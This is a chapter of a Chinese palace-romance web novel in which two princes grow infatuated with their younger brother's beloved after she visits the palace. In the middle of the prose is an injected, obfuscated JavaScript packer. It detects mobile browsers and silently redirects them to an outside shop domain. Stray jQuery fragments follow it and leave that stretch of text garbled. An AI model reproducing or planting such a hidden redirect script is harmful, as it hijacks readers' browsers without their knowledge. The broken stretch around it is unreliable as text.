也许难得见到了外面的人,说了些女儿家年轻时候的故事,贵妃今日只觉,就连这日日让她压抑沉闷的麟趾宫,都难得有了些欢欣的色泽。
眼前的世界终于不是灰蒙蒙乌云笼罩的了,也不是灰蒙蒙里掺杂着外祖母、舅父和表哥的鲜血的悲怆哀痛了。
大片和桂花一样灿烂的阳光洒下,苏迎璋好似终于看清了指甲上的蔻丹是红的、怀里的猫咪眼睛是绿的、殿外金鹤长喙直冲的九霄,是碧蓝澄澈的。
“让他进来吧,这大冷天,在外面傻站着做什么呢?”
暂时欢快的氛围下,苏迎璋难得关心了三皇子的生活,问问他新的府邸的情况,还感谢了他送来的御寒之物。
如果是在往日,即使是习惯了母亲的冷待,三皇子也会在偶尔被关怀的时候和母妃说说话、喝喝茶,旁敲侧击说说舅祖母如今还好,让母妃能稍微笑一笑。
但今天,三皇子恍恍惚惚,本就不算很学富五车的草包脑子问东答西,宛若云游天外。
尤其,在三皇子感受殿内还未消散的桂花香味的时候,他的脑子更是变成了浆糊。
里面装满了春天骑马飞驰时酒楼之上的一抹淡香,和去年被父皇训斥后,明化寺外的一风金枝。(注)
“秋娘,你给母妃换熏香了吗?怎么这么浓厚怡人的桂花味?”
三皇子不顾形象,在不停耸鼻子。
桂花味?
满心疑惑的秋娘也跟着努力嗅闻,但——
“殿下您说什么呢?这除了一点点桂花的味道,不都是娘娘惯用的熏香吗?”
没有很多味道吗?原来那都是自己的错觉吗?
三皇子暂时把这件事放在一边,转而问起刚刚从麟趾宫出来的九天神女,不知是母妃请来的谁家的女孩?
本来面容平静的贵妃,一听到三皇子明晃晃带着一丝倾慕的询问,周身的温度立马散开了。
再次开口的时候,她的声音又变成了冷漠的冰寒:
“那是和你五弟两情相悦的女孩,你不要多打听!”
三皇子感觉飘飘忽忽的心立刻沉入了冰潭。
刚刚他还不停琢磨是哪家的女孩子,想着要怎么追求、或者磨父皇赐婚呢,转眼,母亲就告诫自己,那是弟弟的意中人。
他很想嘀嘀咕咕“不是还没成亲吗,我也不是没机会”之类的话语,但一切的念头,哪怕只是刚刚发芽的小小苗头,都在看到母亲痛苦仇恨的目光中,灰飞烟灭。
苏迎璋已经停止了抚摸白宵温暖的小肚皮的动作,她一只雪中捻红的素手虚虚搭在狸奴的毛发上,不顾小东西缠歪着要继续摸摸的亲昵,整个人上半身陡然僵硬,变成了往日三皇子和秋娘一众人最不忍心见到的,斑驳阳光里的蜡像人。
三皇子眼睁睁地看着母亲失去了随意活动的能力,她的关节就像一瞬间,被过往黏稠的悲伤粘住,无法伸展也不能旋转,只是一寸一寸地把脖颈机械转到三皇子的方向。
像是前朝留下的、锈迹斑斑的自鸣钟,只会“咔嚓咔嚓”地徒劳转动,却无法丝滑地走过以往轻轻松松舞动过的圆圈。
“母妃……”
三皇子不敢说话,也不敢移动,生怕母亲更不开心。
不知过了多久,也许在麟趾宫偏殿多宝阁上崭新的宝石机械钟也发出了一声报时,苏迎璋终于回过神来,眼睛直勾勾地盯着她的孩子。
——真巧,她的血肉,同样是那个仗着身份毁了她的亲人的男人的血脉。
“你若是想和你龌龊肮脏卑鄙的父亲一样,坏了人家的姻缘,那就去做。”
“反正,你们徐家人都是一脉的令人作呕。”
听闻这样的诛心之话,三皇子一下子站起身来。
其实他已经不能控制自己的动作了,只是在听到母亲因为对父亲的迁怒而开始厌恶自己的时候,他下意识想要说些什么、做些什么,只为了显示,好歹自己也有母亲的血,他还是不那么让人恶心的。
但他张张嘴,吐出一片沉默。
其实,他也不知道要如何回复。
父亲伤害了母亲,是真的;
而他……享受着父亲的权势带来的庇护,也是真的。
自鸣钟又开始叮叮当当了,不知神女是不是已经出宫了……
三皇子被母亲吓得冰凉的手指逐渐在麟趾宫的炭火中回暖。
他试着屈了屈手指,又清了清喉咙,脑子过了半晌才反应过来,自己身在何处、要做什么。
“您放心……我不会……强迫的。”
刚刚喝下去的明明是茶水啊,为什么像是喝下去了一整晚、小时候生病没有母亲爱抚、只有内侍递上来的汤药?
曾经的那碗汤药被他磨磨蹭蹭,偷偷放到冰凉,又酸又苦,只会黏在他的喉咙上,然后一路冷到胃里。
“我不会像他一样的……”
三皇子觉得,自己好像又喝掉了一整壶的凉药,才能从躯体里挤出这几个字。
听闻三皇子的保证,贵妃似乎放松了一点。
虽然她的脊柱看着还是直挺挺的,但至少,开始继续抚摸猫猫了。
今日的白宵也很给面子,一直在等香香铲屎官的爱抚,到了最后,似乎都在贵妃的衣裙上睡着了。
一时间,偌大的殿内只有三皇子轻微的呼吸声,还有白宵的小小呼噜声,不知是被摸舒服的喟叹,还是梦中不知世事的天真。
苏迎璋的手整个陷入白花花的毛毛里,上下摩挲。也许是觉得这个孩子还有救?
她慢悠悠算是安慰了一句:
“别想了,你不行的。”
什么?
三皇子一猛子抬头,竖起耳朵,紧盯母亲不放。
“我说,你不行。”贵妃还算耐心。
“你从小就是,聪明皮囊笨肚肠,除了一身花架子,是做不成事的。我在后宫也知道,他给你的差事,全都被你办得马马虎虎,最后还是让老五扫尾了。”
“她是个聪明的姑娘,聪明、眼里有光,而脑子里没有半点谋划的你,不能续上她眼中,想要继续迸发的光亮。”
……
亲娘这话,还不如不说呢。
三皇子卸力在满是桂花香气的座位上。
啧,早知道,今天就不急着进宫了,也不急着让老四先去礼佛了,白白被亲娘的大实话奚落一顿。
不过,要是不进宫,也看不到她了……
虽然不会去打扰她,让除了他之外的所有人为难,但他还是能去打听打听吧,还是能找机会看看她吧……
.
被三皇子念叨一句的四皇子,此时也在母亲的寝宫。
不同于麟趾宫那边的冰(气氛)火(物理温度)两重天,金明宫的珍贵嫔刚送走客人小姑娘,又迎来了已经出宫开府一段时间的亲儿子,可谓是喜笑颜开。
“都说喜鹊一叫,好事来到。我就说今天早上,那些喜鹊怎么不怕冷了,一个劲儿地叽叽喳喳。的确是个好日子啊。”
箫瑛笑着让宫女找出孩子喜欢的碧螺春,忙前忙后,为四皇子准备吃喝。
刚从钦安殿烧香回来的四皇子急忙拦住母亲的动作:
“母妃不必辛劳,您这样真是折煞我了。我就尝尝之前的茶点就好了。您这里的东西,哪里有不好的呢?”
四皇子不想年近不惑的母亲忙碌,于是就着箫瑛为他保存好的专属白瓷,喝下了之前招待客人用的大红袍。
“母妃,这茶水是加了桂花蜜吗?”
不然怎么这么香甜?
箫瑛不明所以,这里也没有花蜜的味道啊。
只有四皇子神游天外,恍然觉得今日的金明宫在一片佛音悠长的祥云之中。
其间,顽皮跳跃的天香子趁着神佛阖眼,悄悄将分割两界的云层撕开了一道名为“红尘”的口子。
枕上飞花、樽前风月顺着清幽桂香,让佛前道心不稳的童子停下了诵经的佛珠转动,抬眼窥得尘世之中的一眼回首。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787042|205799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是王家的二姑娘留下的仙香吗?
——四皇子听母亲絮叨今日的生活,嘴角含笑。
原来是五弟拜托母妃照顾、以免他求旨赐婚之前生出波折的啊……
——四皇子听到母亲和宫女们打趣小男女的笑语,瞬间,可口的茶点都不香了。
五弟喜欢的姑娘吗?
之前那匹雨过青的缂丝,是不是也被他由着五弟的手,送到了她的身边呢?
她喜欢吗?
她穿过新衣衫吗?
她,知道宫里,有个四皇子吗?
四皇子听不见宫人们在哄着母亲笑什么了,他的思绪已经成了一团乱麻。
他明知自己这样不对——
从抓周时,他就紧紧攥住偶尔抱着他的皇太后手腕间的佛珠紧紧不放,似乎从此奠定了他与佛家的不解之缘;
稍微长大,大哥二哥为了得到父皇和各自母亲的夸奖争相死记硬背,其实连讲解释义都比不上年幼的弟弟们;
三哥不爱听课,在孔孟之道一字一语的谆谆教诲上面画小乌龟,被父皇恨铁不成钢时还振振有词“孔圣人有教无类,您就凑合教我就得了”;
五弟总是在一旁安安静静、默默练字背书。
但他四皇子,只觉得儒家酸腐、法家严苛、千篇一律、百部一章。只有超脱世俗的佛家经文,才能让他的心灵自有宁静。
他知道自己的性格缺陷,因而在被三哥气到半死的父皇询问功课的时候,很诚实地对他说出了内心的感悟:
“儿臣不爱红尘、难当大任。或许人各有志、来处各异,儿臣时常觉得,自己前世是在菩萨的仙池间自顾自绽放的一朵绝世白莲,此生来人间修行。”
“因而即使满目繁华,儿臣依旧布衣素食、诵经修行。此生别无他愿,只求侍奉神明。”
“滚啊!”
这一番自认为真情流露的自我剖析,成功地把已经被嚣张老三气疯的中登承德帝成功气晕。
不过好在,承德帝对自家骨肉还有不少舐犊之情,只是三令五申不许四皇子私自出家,别的也就由他去了。
箫瑛又是只盼着孩子健康平安、别的顺着孩子心意的。在母亲的关爱下,四皇子健康长到了如今快到双九年华,他心无杂念,每天睁眼就是烧香,闭眼就是诵经,从不为凡俗欲望心动,只想一生奉献神明。
——是的,这样才是他的志向,这样才是“正确”的、没有偏差的,这样才是让他自由探索内心宁静的道路。
他一直都是这样坚定相信的。
直到今日,法华殿的佛香氤氲间,他看到了一身胭脂色的姑娘。
高华意态神仙步、微云浩渺凌波路;
环佩叮当之间,芳晨丽日之下,
天香竞放,步步生莲。
.
紫禁城内思绪万千,回到家的镜光又不是真的神仙,她才不知道她挥袖转身,在他们心中留下的春水池塘、黄莺声声、涟漪点点呢。
回到家后,她先是拆开了五皇子在路途中接连不断送来的信,有长安京外的秋风瑟瑟,有一路箫寒的北地雁鸣。
算了算,五皇子还没有走完姐姐当年和亲的三分之一路程呢。
镜光大致知晓了五皇子的行程,想要提笔写信,又恐烛火已燃,傅管家和家丁会在夜晚严加巡逻,就暂时停下笔墨,准备明日再笔下传信。
她把自己关回拔步床的帘子内,悄悄打开求执蕙给她的荷包,好好看看贤妃的宫女给她传来了什么信息。
里面笔迹秀气,只有短短的两列贵女们经常联系的簪花小楷。
但就是这样的两个竖列,已然让镜光惊喜地睁大了眼睛。
不论贤妃真心假意,她都要让母亲们看上一看。
镜光迅速披上大氅,在莳雨点着灯笼追逐的脚步下,不顾周围巡逻生怕火烛易燃的仆妇,半拖着绣鞋,一溜烟跑去了正院。
“母亲,娘亲,快看看这个——”